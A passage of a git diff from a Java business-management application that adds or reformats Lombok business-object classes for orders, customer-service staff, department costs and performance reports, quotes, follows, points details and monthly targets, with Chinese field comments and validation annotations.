balanceBefore; + + /** + * 变动后余额 + */ + @NotNull(message = "变动后余额不能为空", groups = { AddGroup.class, EditGroup.class }) + private BigDecimal balanceAfter; + + /** + * 领款ID + */ + private Long receiptId; + + /** + * 订单ID + */ + private Long orderId; + + /** + * 订单编号 + */ + private String orderNo; + + /** + * 备注 + */ + private String remark; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpClientStaffBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpClientStaffBo.java index 7e30324..93e9071 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpClientStaffBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpClientStaffBo.java @@ -1,67 +1,67 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpClientStaff; - -import java.math.BigDecimal; -import java.util.Date; - -/** - * 客户+客服业务对象 tp_client_staff - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpClientStaff.class, reverseConvertGenerate = false) -public class TpClientStaffBo extends BaseEntity { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 所属客服 - */ - private Long sid; - - /** - * 所属客户 - */ - private Long kid; - - /** - * 客户姓名 - */ - private String name; - - /** - * 备注 - */ - private String remark; - - /** - * 余额 - */ - @NotNull(message = "余额不能为空", groups = { AddGroup.class, EditGroup.class }) - private BigDecimal yue; - - /** - * 录入时间 - */ - private Date addTime; - - private String phone; - - private String code; - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpClientStaff; + +import java.math.BigDecimal; +import java.util.Date; + +/** + * 客户+客服业务对象 tp_client_staff + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpClientStaff.class, reverseConvertGenerate = false) +public class TpClientStaffBo extends BaseEntity { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 所属客服 + */ + private Long sid; + + /** + * 所属客户 + */ + private Long kid; + + /** + * 客户姓名 + */ + private String name; + + /** + * 备注 + */ + private String remark; + + /** + * 余额 + */ + @NotNull(message = "余额不能为空", groups = { AddGroup.class, EditGroup.class }) + private BigDecimal yue; + + /** + * 录入时间 + */ + private Date addTime; + + private String phone; + + private String code; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpDeptCostBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpDeptCostBo.java new file mode 100644 index 0000000..148a274 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpDeptCostBo.java @@ -0,0 +1,86 @@ +package org.dromara.work.domain.bo; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.TableField; +import com.fasterxml.jackson.annotation.JsonInclude; +import org.dromara.work.domain.TpDeptCost; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import lombok.EqualsAndHashCode; +import jakarta.validation.constraints.*; +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +/** + * 部门成本业务对象 tp_dept_cost + * + * @author Maosw + * @date 2025-11-20 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@AutoMapper(target = TpDeptCost.class, reverseConvertGenerate = false) +public class TpDeptCostBo { + + /** + * ID + */ + @NotNull(message = "ID不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 报表ID + */ + private Long deptReportId; + + /** + * 社保成本 + */ + private BigDecimal socialCost; + + /** + * 工资成本 + */ + private BigDecimal salaryCost; + + /** + * 房租 + */ + private BigDecimal rentCost; + + /** + * 电费 + */ + private BigDecimal electricityCost; + + /** + * 报销 + */ + private BigDecimal salesCost; + + /** + * 月份 + */ + private String month; + + /** + * 创建时间 + */ + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + + /** + * 请求参数 + */ + @JsonInclude(JsonInclude.Include.NON_EMPTY) + @TableField(exist = false) + private Map params = new HashMap<>(); + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpDeptReportBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpDeptReportBo.java new file mode 100644 index 0000000..200260d --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpDeptReportBo.java @@ -0,0 +1,137 @@ +package org.dromara.work.domain.bo; + +import com.baomidou.mybatisplus.annotation.FieldFill; +import com.baomidou.mybatisplus.annotation.TableField; +import com.fasterxml.jackson.annotation.JsonInclude; +import org.dromara.work.domain.TpDeptReport; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import lombok.EqualsAndHashCode; +import jakarta.validation.constraints.*; +import java.math.BigDecimal; +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +import com.fasterxml.jackson.annotation.JsonFormat; + +/** + * 部门业绩报业务对象 tp_dept_report + * + * @author Maosw + * @date 2025-11-19 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@AutoMapper(target = TpDeptReport.class, reverseConvertGenerate = false) +public class TpDeptReportBo { + + /** + * ID + */ + @NotNull(message = "ID不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 部门ID + */ + private Long deptId; + + /** + * 部门名称 + */ + private String deptName; + + /** + * 部门类型 1-客服,2-技术 + */ + private Integer deptType; + + /** + * 部门是否有下级 1-有下级 2-无下级 + */ + private Integer hasChild; + + /** + * 组号 + */ + private String teamNo; + + /** + * 负责人ID + */ + private Long userId; + + /** + * 负责人名称 + */ + private String userName; + + /** + * 业绩 + */ + private BigDecimal performance; + + /** + * 订单量 + */ + private Integer orderCount; + + /** + * 投诉量 + */ + private Integer complaintCount; + + /** + * 实际已到账 + */ + private BigDecimal actualArrival; + + /** + * 会员补贴 + */ + private BigDecimal memberRecharge; + + /** + * 扣款 + */ + private BigDecimal deduction; + + /** + * 最终已到账 + */ + private BigDecimal finalArrival; + + /** + * 未到账 + */ + private BigDecimal unArrival; + + /** + * 排序 + */ + private Integer sort; + + /** + * 月份 (格式: yyyy-MM) + */ + private String month; + + /** + * 创建时间 + */ + @TableField(fill = FieldFill.INSERT) + private Date createTime; + + + /** + * 请求参数 + */ + @JsonInclude(JsonInclude.Include.NON_EMPTY) + @TableField(exist = false) + private Map params = new HashMap<>(); + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpDesignQuotesBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpDesignQuotesBo.java index 53a39c3..bac2bf1 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpDesignQuotesBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpDesignQuotesBo.java @@ -1,88 +1,88 @@ -package org.dromara.work.domain.bo; - -import com.alibaba.excel.annotation.ExcelProperty; -import org.dromara.work.domain.TpDesignQuotes; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import lombok.EqualsAndHashCode; -import jakarta.validation.constraints.*; -import java.math.BigDecimal; - -/** - * 报价业务对象 tp_design_quotes - * - * @author Maosw - * @date 2025-03-10 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpDesignQuotes.class, reverseConvertGenerate = false) -public class TpDesignQuotesBo extends BaseEntity { - - /** - * 主键 - */ - @NotNull(message = "主键不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 客服ID - */ - @NotNull(message = "客服ID不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long sid; - - /** - * 客服名称 - */ - private String sName; - - /** - * 项目名称 - */ - @NotBlank(message = "项目名称不能为空", groups = { AddGroup.class, EditGroup.class }) - private String projectName; - - /** - * 客户名称 - */ - @NotBlank(message = "客户名称不能为空", groups = { AddGroup.class, EditGroup.class }) - private String clientName; - - /** - * 订单JSON详细 - */ - @NotBlank(message = "订单JSON详细不能为空", groups = { AddGroup.class, EditGroup.class }) - private String orderInfo; - - /** - * 总计图数 - */ - @NotNull(message = "总计图数不能为空", groups = { AddGroup.class, EditGroup.class }) - private Integer totalImages; - - /** - * 总计金额 - */ - @NotNull(message = "总计金额不能为空", groups = { AddGroup.class, EditGroup.class }) - private BigDecimal totalAmount; - - /** - * 定金 - */ - private BigDecimal deposit; - - /** - * 备注 - */ - private String remark; - - /** - * 租户 1-设计甄选 2-制图工厂 3-室内联盟 - */ - private Integer tenant; - - -} +package org.dromara.work.domain.bo; + +import com.alibaba.excel.annotation.ExcelProperty; +import org.dromara.work.domain.TpDesignQuotes; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import lombok.EqualsAndHashCode; +import jakarta.validation.constraints.*; +import java.math.BigDecimal; + +/** + * 报价业务对象 tp_design_quotes + * + * @author Maosw + * @date 2025-03-10 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpDesignQuotes.class, reverseConvertGenerate = false) +public class TpDesignQuotesBo extends BaseEntity { + + /** + * 主键 + */ + @NotNull(message = "主键不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 客服ID + */ + @NotNull(message = "客服ID不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long sid; + + /** + * 客服名称 + */ + private String sName; + + /** + * 项目名称 + */ + @NotBlank(message = "项目名称不能为空", groups = { AddGroup.class, EditGroup.class }) + private String projectName; + + /** + * 客户名称 + */ + @NotBlank(message = "客户名称不能为空", groups = { AddGroup.class, EditGroup.class }) + private String clientName; + + /** + * 订单JSON详细 + */ + @NotBlank(message = "订单JSON详细不能为空", groups = { AddGroup.class, EditGroup.class }) + private String orderInfo; + + /** + * 总计图数 + */ + @NotNull(message = "总计图数不能为空", groups = { AddGroup.class, EditGroup.class }) + private Integer totalImages; + + /** + * 总计金额 + */ + @NotNull(message = "总计金额不能为空", groups = { AddGroup.class, EditGroup.class }) + private BigDecimal totalAmount; + + /** + * 定金 + */ + private BigDecimal deposit; + + /** + * 备注 + */ + private String remark; + + /** + * 租户 1-设计甄选 2-制图工厂 3-室内联盟 + */ + private Integer tenant; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpFieldBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpFieldBo.java index a166068..a295df6 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpFieldBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpFieldBo.java @@ -1,49 +1,49 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpField; - -/** - * 字段管理业务对象 tp_field - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpField.class, reverseConvertGenerate = false) -public class TpFieldBo extends BaseEntity { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 类型 - */ - @NotNull(message = "类型不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long type; - - /** - * 名称 - */ - @NotBlank(message = "名称不能为空", groups = { AddGroup.class, EditGroup.class }) - private String name; - - /** - * 创建时间 - */ - @NotNull(message = "创建时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long addTime; - - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpField; + +/** + * 字段管理业务对象 tp_field + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpField.class, reverseConvertGenerate = false) +public class TpFieldBo extends BaseEntity { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 类型 + */ + @NotNull(message = "类型不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long type; + + /** + * 名称 + */ + @NotBlank(message = "名称不能为空", groups = { AddGroup.class, EditGroup.class }) + private String name; + + /** + * 创建时间 + */ + @NotNull(message = "创建时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpFollowBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpFollowBo.java index 923fca0..eaa6566 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpFollowBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpFollowBo.java @@ -1,42 +1,42 @@ -package org.dromara.work.domain.bo; - -import org.dromara.work.domain.TpFollow; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import lombok.EqualsAndHashCode; -import jakarta.validation.constraints.*; - -/** - * 关注业务对象 tp_follow - * - * @author Maosw - * @date 2025-07-23 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpFollow.class, reverseConvertGenerate = false) -public class TpFollowBo extends BaseEntity { - - /** - * id - */ - @NotNull(message = "id不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 用户ID - */ - @NotNull(message = "用户ID不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long userId; - - /** - * 被关注用户ID - */ - @NotNull(message = "被关注用户ID不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long toUserId; - - -} +package org.dromara.work.domain.bo; + +import org.dromara.work.domain.TpFollow; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import lombok.EqualsAndHashCode; +import jakarta.validation.constraints.*; + +/** + * 关注业务对象 tp_follow + * + * @author Maosw + * @date 2025-07-23 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpFollow.class, reverseConvertGenerate = false) +public class TpFollowBo extends BaseEntity { + + /** + * id + */ + @NotNull(message = "id不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 用户ID + */ + @NotNull(message = "用户ID不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long userId; + + /** + * 被关注用户ID + */ + @NotNull(message = "被关注用户ID不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long toUserId; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpIntegralDetailBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpIntegralDetailBo.java index ea74dd0..0e60437 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpIntegralDetailBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpIntegralDetailBo.java @@ -1,61 +1,61 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpIntegralDetail; - -/** - * 积分明细业务对象 tp_integral_detail - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpIntegralDetail.class, reverseConvertGenerate = false) -public class TpIntegralDetailBo extends BaseEntity { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 所属用户 - */ - @NotNull(message = "所属用户不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long uid; - - /** - * 标题 - */ - @NotBlank(message = "标题不能为空", groups = { AddGroup.class, EditGroup.class }) - private String title; - - /** - * 类型(1为加,2为减) - */ - @NotNull(message = "类型(1为加,2为减)不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long type; - - /** - * 数额 - */ - @NotNull(message = "数额不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long price; - - /** - * 创建时间 - */ - @NotNull(message = "创建时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long addTime; - - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.work.domain.TpIntegralDetail; + +/** + * 积分明细业务对象 tp_integral_detail + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TpIntegralDetail.class, reverseConvertGenerate = false) +public class TpIntegralDetailBo extends BaseEntity { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 所属用户 + */ + @NotNull(message = "所属用户不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long uid; + + /** + * 标题 + */ + @NotBlank(message = "标题不能为空", groups = { AddGroup.class, EditGroup.class }) + private String title; + + /** + * 类型(1为加,2为减) + */ + @NotNull(message = "类型(1为加,2为减)不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long type; + + /** + * 数额 + */ + @NotNull(message = "数额不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long price; + + /** + * 创建时间 + */ + @NotNull(message = "创建时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpMonthBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpMonthBo.java index 80fbc03..8008fc5 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpMonthBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpMonthBo.java @@ -1,74 +1,74 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.work.domain.TpMonth; - -import java.util.Date; -import java.util.List; - -/** - * 月目标业务对象 tp_month - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@AutoMapper(target = TpMonth.class, reverseConvertGenerate = false) -public class TpMonthBo { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 人员 - */ - @NotNull(message = "人员不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long sid; - - /** - * 月 - */ - @NotBlank(message = "月不能为空", groups = { AddGroup.class, EditGroup.class }) - private String month; - - /** - * 个人目标 - */ - private Long geren; - - /** - * 公司目标 - */ - private Long gongsi; - - /** - * 创建时间 - */ - private Date addTime; - - /** - * 编号 - */ - private String nickName; - - /** - * 部门ID - */ - private Long deptId; - - - private String ancestors; - - private List userIds; - -} +package org.dromara.work.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.work.domain.TpMonth; + +import java.util.Date; +import java.util.List; + +/** + * 月目标业务对象 tp_month + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@AutoMapper(target = TpMonth.class, reverseConvertGenerate = false) +public class TpMonthBo { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 人员 + */ + @NotNull(message = "人员不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long sid; + + /** + * 月 + */ + @NotBlank(message = "月不能为空", groups = { AddGroup.class, EditGroup.class }) + private String month; + + /** + * 个人目标 + */ + private Long geren; + + /** + * 公司目标 + */ + private Long gongsi; + + /** + * 创建时间 + */ + private Date addTime; + + /** + * 编号 + */ + private String nickName; + + /** + * 部门ID + */ + private Long deptId; + + + private String ancestors; + + private List userIds; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderBigBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderBigBo.java index 63ea6ef..7284bbe 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderBigBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderBigBo.java @@ -1,82 +1,82 @@ -package org.dromara.work.domain.bo; - -import com.baomidou.mybatisplus.annotation.TableField; -import com.fasterxml.jackson.annotation.JsonInclude; -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.work.domain.TpOrderBig; - -import java.util.Date; -import java.util.HashMap; -import java.util.Map; - -/** - * 订单大图业务对象 tp_order_big - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = false) -@AutoMapper(target = TpOrderBig.class, reverseConvertGenerate = false) -public class TpOrderBigBo { - - /** - * - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 所属订单 - */ - @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long oid; - - /** - * 图片类型(1=平面大图,2全景大图) - */ - @NotNull(message = "图片类型(1=平面大图,2全景大图)不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long type; - - /** - * 图片名称 - */ - @NotBlank(message = "图片名称不能为空", groups = { AddGroup.class, EditGroup.class }) - private String name; - - /** - * 图片地址 - */ - @NotBlank(message = "图片地址不能为空", groups = { AddGroup.class, EditGroup.class }) - private String pic; - - /** - * 全景地址 - */ - @NotBlank(message = "全景地址不能为空", groups = { AddGroup.class, EditGroup.class }) - private String link; - - /** - * 上传时间 - */ - private Date addTime; - - /** - * 操作人 - */ - private Long addUser; - - /** - * 请求参数 - */ - @JsonInclude(JsonInclude.Include.NON_EMPTY) - @TableField(exist = false) - private Map params = new HashMap<>(); - -} +package org.dromara.work.domain.bo; + +import com.baomidou.mybatisplus.annotation.TableField; +import com.fasterxml.jackson.annotation.JsonInclude; +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.work.domain.TpOrderBig; + +import java.util.Date; +import java.util.HashMap; +import java.util.Map; + +/** + * 订单大图业务对象 tp_order_big + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@EqualsAndHashCode(callSuper = false) +@AutoMapper(target = TpOrderBig.class, reverseConvertGenerate = false) +public class TpOrderBigBo { + + /** + * + */ + @NotNull(message = "不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 所属订单 + */ + @NotNull(message = "所属订单不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long oid; + + /** + * 图片类型(1=平面大图,2全景大图) + */ + @NotNull(message = "图片类型(1=平面大图,2全景大图)不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long type; + + /** + * 图片名称 + */ + @NotBlank(message = "图片名称不能为空", groups = { AddGroup.class, EditGroup.class }) + private String name; + + /** + * 图片地址 + */ + @NotBlank(message = "图片地址不能为空", groups = { AddGroup.class, EditGroup.class }) + private String pic; + + /** + * 全景地址 + */ + @NotBlank(message = "全景地址不能为空", groups = { AddGroup.class, EditGroup.class }) + private String link; + + /** + * 上传时间 + */ + private Date addTime; + + /** + * 操作人 + */ + private Long addUser; + + /** + * 请求参数 + */ + @JsonInclude(JsonInclude.Include.NON_EMPTY) + @TableField(exist = false) + private Map params = new HashMap<>(); + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderBo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderBo.java index 8511561..a507328 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderBo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/bo/TpOrderBo.java @@ -1,344 +1,344 @@ -package org.dromara.work.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.work.domain.TpOrder; - -import java.math.BigDecimal; -import java.util.Date; -import java.util.List; - -/** - * 订单管理业务对象 tp_order - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TpOrder.class, reverseConvertGenerate = false) -public class TpOrderBo extends BaseEntity { - - /** - *ID - */ - @NotNull(message = "不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 订单编号 - */ - private String orderId; - - /** - * 订单客户 - */ - private Long kid; - - /** - * 订单微信 - */ - private Long wid; - - /** - * 订单风格 - */ - private Long style; - - /** - * 订单空间 - */ - private String space; - - /** - * 订单品质 - */ - private Long quality; - - /** - * 备注 - */ - private String remark; - - /** - * 订单类型 - */ - private Long type; - - /** - * 状态(1录入订单,2上传小图,3上传大图,4已完成,5已评价) - */ - private Integer state; - - /** - * 图纸数量 - */ - @NotNull(message = "图纸数量不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long num; - - /** - * 客服ID - */ - private Long sid; - - /** - * 客服编号 - */ - private String scode; - - /** - * 分图人员 - */ - private Long fid; - - /** - * 分图员编号 - */ - private String fcode; - - /** - * 表现师ID - */ - private String bid; - - /** - * 表现是编号 - */ - private String bcode; - - /** - * 分配状态 1:未分配 2:已分配 - */ - private Integer assignState; - - /** - * 订单价格 - */ - @NotNull(message = "订单价格不能为空", groups = { AddGroup.class, EditGroup.class }) - private BigDecimal price; - - /** - * 定金 - */ - private BigDecimal djPrice; - - /** - * 技术备注 - */ - private String jsRemark; - - /** - * 支付状态(1=待支付,2=尾款待支付,3=已支付) - */ - private Integer payState; - - /** - * 已付款 - */ - private BigDecimal payPrice; - - /** - * 尾款 - */ - private BigDecimal endPrice; - - /** - * 改价价格 - */ - private BigDecimal gjPrice; - - /** - * 是否删除(1=未删除,2=已删除) - */ - private Integer isDel; - - /** - * 下单时间 - */ - private Date addTime; - - /** - * 对图时间 - */ - private Date dtTime; - - /** - * 定金支付时间 - */ - private Date djpTime; - - /** - * 尾款支付时间 - */ - private Date endpTime; - - /** - * 完成时间 - */ - private Date finishTime; - - /** - * 拆单价格 - */ - private BigDecimal cdPrice; - - /** - * 技术订单价格 - */ - private BigDecimal jsPrice; - - /** - * 技术已付款 - */ - private BigDecimal jsPayPrice; - - /** - * 是否自动改价(1=否,2=是) - */ - private Integer isC; - - /** - * 自动改价价格 - */ - private BigDecimal zGjPrice; - - /** - * 客户已付款 - */ - private BigDecimal khpay; - - /** - * 改价已付款 - */ - private BigDecimal gpay; - - /** - * 是否拆单(1=否,2=是) - */ - private Integer isCd; - - /** - * 客服已付款 - */ - private BigDecimal kfpay; - - - /** - * 接待客服名称 - */ - private String sname; - - /** - * 分图员名称 - */ - private String fname; - - /** - * 表现师名称 - 